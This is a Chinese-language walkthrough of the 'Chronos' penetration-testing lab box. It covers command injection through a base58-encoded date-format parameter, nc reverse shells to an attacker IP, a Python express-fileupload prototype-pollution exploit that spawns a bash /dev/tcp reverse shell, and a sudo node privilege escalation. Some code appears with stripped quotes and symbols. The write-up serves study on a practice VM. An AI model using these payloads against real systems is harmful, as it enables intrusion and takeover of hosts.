做黑网站赚钱吗,贵阳网站建设宏思锐达,企业网站内页设计,wordpress怎么建app【打靶】vulhub打靶复现系列3---Chronos
一、主机探测
结合之前的方法#xff08;arp探测、ping检测#xff09;#xff0c;因为我们的靶机和攻击机都在第二层#xff0c;所以打靶时候我们更依赖arp协议 tips#xff1a;我在运行期间发现#xff0c;netdiscover窗口没关…【打靶】vulhub打靶复现系列3---Chronos
一、主机探测
结合之前的方法arp探测、ping检测因为我们的靶机和攻击机都在第二层所以打靶时候我们更依赖arp协议 tips我在运行期间发现netdiscover窗口没关闭的前提下是可以一直检测的也就是说在探活期间有新主机加入可以被立即识别到。
二、端口扫描
nmap -p- -sV -T4 192.168.56.104 ssh可以爆破hydra
http直接去访问先看下80端口下的页面
三、撕口子--功能点测试 发现页面没有什么东西两种思路
1、爬站2、查看源码查询调用隐藏接口和调用脚本等
发现其源码中有调用一个脚本 发现进行了编码
通过cyberchef美化一下地址CyberChef (gchq.github.io) 发现有内容进行过加密虽说cyberchef可以解但比这个更有意义的是其调用的脚本未进行编码加密等
四、尝试利用——查看源码 去改host文件将192.168.56.104定向到chronos.local
注chronos恰好是本靶场的主机名host文件win的在C盘C:\Windows\System32\drivers\etc\hostskali在/etc/hosts ping一下 配置成功
再次访问网页 发现多出下面这行uts时间
抓包观察发现是下面这个数据包的响应包 当我修改了format后的内容后无法正常回显因此我需要知道后面的内容是什么编码经验判断是base64但不重要
直接去cyberchef里的magic模块去撞就行 可以猜测出是base58编码
而此时观察请求包会发现很像是linux的data命令 Today is %A, %B %d, %Y %H:%M:%S.
六、验证猜想——配合终端进行验证
尝试在kali上验证猜想 确认了猜想和其运行是一致的
这里是调用了系统指令进行回显的.
因此!!!思路就有了:是否可以去尝试其他的指令来对系统进行攻击呢?
那我执行指令的前提就是原有的指令正常执行的情况下附带或追加个指令进去
方法有
;
|
||这里需要说明双管道符的运行原则是前面的指令错误时候运行后面的指令;双符号恰好相反(前面为真才能执行下一个指令)
因此可以尝试在前面输入准确的情况下执行后面的指令,即用尝试,需要注意的是需要进行base58编码才行 成功验证了猜想
七、进一步利用--尝试nc反弹
先去查找有无nc 存在nc下一步反弹shell 返回包看着貌似不成功但攻击机却接受到了反弹过来的监听 八、nc利用——判断有无-e参数
直接指令判断可以执行就说明有-e参数
在nc命令中-e参数用于指定要在连接建立后执行的命令。它允许用户在建立网络连接后将输入和输出重定向到指定的命令从而实现远程执行命令的功能。
使用-e参数的语法如下
nc -e
其中command是要执行的命令host是目标主机的IP地址或域名port是目标主机的端口号。
使用-e参数时nc命令会在连接建立后立即执行指定的命令并将连接的输入和输出重定向到该命令。这使得用户可以在远程主机上执行命令并与其交互就像在本地终端上一样。
输入指令
nc 192.168.56.103 4444 -e /bin/bash
对其进行编码并执行注意这里在kali机上需要重新启动监听 发现没有回连采用之前的nc串联来代替-e参数反弹shell
九、精化骚操作——nc串联获取shell
nc 192.168.56.103 4444 | /bin/bash | nc 192.168.56.103 5555
这里注意尽量前后都加个空格吧 十、主机信息收集 发现user.txt这个文件需要提权
十一、常规提权
# linux提权方法
## 方法一、利用内核漏洞先name -a查看内核版本再去查询该版本漏洞进行攻击
## 方法二、suid权限配置错误导致提权suid命令查看超管用户
## 方法三、利用sudo命令有些用户可以使用sudo命令进而达到提权的目的但很不幸这些提权手段都不适用
十二、代码审计
跳到目录下 发现是js写的服务端这种情况少见据说少见
nodejs是基于JavaScript的已有的框架和库通过了解socket、express等库经常用来开发web
开始审计package.json
发现各个封装好的包/库 审计app.js
这是重定向的url等 base58解码拼接到cmd的代码 判断agent的字段内容 在agent是chronos时候是正常回显其他情况返回禁止有了这段内容的解读之后去尝试一波 成功验证代审的分析结果
其中当agentchronos时候进一步的判断下一个if语句表示 也对应上了之前nc返连的时候的返回包内容注意这里只是返回这么个内容但却没有阻断这些指令
翻阅过后没有什么显著的利用点继续深挖
十三、代码审计深挖——找利用点撕口子 发现了未扫出来的8080端口但这个端口只对8080开放因此我nmap没扫出来
看来只能指望调用的模块内express和express-fileupload存在漏洞了 发现存在漏洞赶紧索一眼,但这里没给到源码和poc之类的信息通过科学上网访问到
Access denied | www.bleepingcomputer.com used Cloudflare to restrict access 通过下面的参考链接来到:p6.is(现在让网页篡改了) 意思是想要利用这个漏洞就必须开启processNested的方法好在我们的环境中恰好是开着的 通过上面的文章找到可利用的简化exp
import requestscmd bash -c bash -i /dev/tcp/p6.is/8888 01# pollute
requests.post(http://p6.is:7777, files {__proto__.outputFunctionName: (None, fx;console.log(1);process.mainModule.require(child_process).exec({cmd});x)})# execute command
requests.get(http://p6.is:7777)
只需要将这段代码中的部分进行替换替换规则如下如下
p6.is/8888 替换为 kali攻击机的ip/监听端口
p6.is:7777 替换为 目标ip:目标web应用程序运行端口 将这段代码复制到kali中替换内容后编写为py文件修改后的内容如下;
import requestscmd bash -c bash -i /dev/tcp/192.168.56.103/8888 01# pollute
requests.post(http://127.0.0.1:8080, files {__proto__.outputFunctionName: (None, fx;console.log(1);process.mainModule.require(child_process).exec({cmd});x)})# execute command
requests.get(http://127.0.0.1:8080)
写好文件之后kali攻击机开启web服务
python3 -m http.server 80
通过反弹shell将目录移动到/tmp下因为一般来讲tmp好写入文件
成功上传exp.py 下一步运行就行
十四、getshell——获取第一个flag 但是获取的仅仅是上面的imara的shell
去看下那个txt能不能看 成功获取到一个flag了
十五、乘胜追击——获取root用户下的flag
根据靶机描述root下是有一个flag的但是我们现在已有的权限不足以去访问 十六、提权——利用sudo下可调用的node
还是之前说的三种方法先试一下发现可以sudo 意思是不需要输入密码的前提下执行npm和node指令
sudo node -e child_process.spawn(/bin/bash, {stdio: [0,1,2]})
这段代码是通过node指令提权的代码网上找的
意思是通过调用node--》生成子进程---》调用root权限的shell 提权成功 打靶总结